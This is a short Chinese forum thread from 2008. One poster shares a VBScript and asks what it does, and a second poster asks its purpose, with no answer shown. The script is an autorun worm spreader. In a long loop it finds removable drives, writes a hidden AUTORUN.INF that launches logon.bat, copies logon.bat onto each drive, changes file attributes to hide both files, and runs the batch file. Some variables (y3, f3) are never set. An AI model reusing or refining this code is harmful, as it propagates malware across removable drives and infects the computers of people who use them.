标题: 解释下这个VBS代码 [打印本页]
作者: 330428725 时间: 2008-1-26 18:23 标题: 解释下这个VBS代码
- on error resume next
- strComputer = "."
- set fs =createobject("scripting.filesystemobject")
- set WshShell = WScript.CreateObject("WScript.Shell")
- Set objWMIService = GetObject("winmgmts:" _
- & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
- Set colDisks = objWMIService.ExecQuery _
- ("Select * from Win32_LogicalDisk")
- For i =1 to 9000000000
- For Each objDisk in colDisks
- Select Case objDisk.DriveType
- :Case 2:
- y1=fs.FileExists(objDisk.DeviceID & "\AUTORUN.INF")
- if not y1 then
- set f=fs.opentextfile(objDisk.DeviceID & "\AUTORUN.INF",2, true)
- f.write "[AutoRun]" & vbcrlf
- f.write "open=logon.bat" & vbcrlf
- f.write "shellexecute=logon.bat" & vbcrlf
- f.write "shell\Auto\command=logon.bat" & vbcrlf
- f.Close
- Set f1 = fs.GetFile(objDisk.DeviceID & "\AUTORUN.INF")
- If f1.Attributes = f1.Attributes AND 2 Then
- :f1.Attributes = f1.Attributes XOR 7:
- End If
- end if
- y2=fs.FileExists(objDisk.DeviceID & "\logon.bat")
- if not y2 then
- fs.CopyFile "c:\windows\system32\logon.bat",objDisk.DeviceID & "\"
- Set f2 = fs.GetFile(objDisk.DeviceID & "\logon.bat")
- If f2.Attributes = f2.Attributes AND 2 Then
- :f2.Attributes = f2.Attributes XOR 7:
- End If
- end if
- dirr = Wshshell.ExpandEnvironmentStrings("C:")
- if not y3 then
- WshShell.Run "logon.bat"
- WScript.Sleep 500
- If f3.Attributes = f3.Attributes AND 2 Then
- :f3.Attributes = f3.Attributes XOR 7:
- End If
- end if
- End Select
- Next
- WScript.Sleep 5000
- Next
复制代码
详细解释下这个代码
作者: xxx3212 时间: 2008-1-26 19:51
这个代码的用处是什么
欢迎光临 批处理之家 (http://bbs.bathome.net/) |
Powered by Discuz! 7.2 |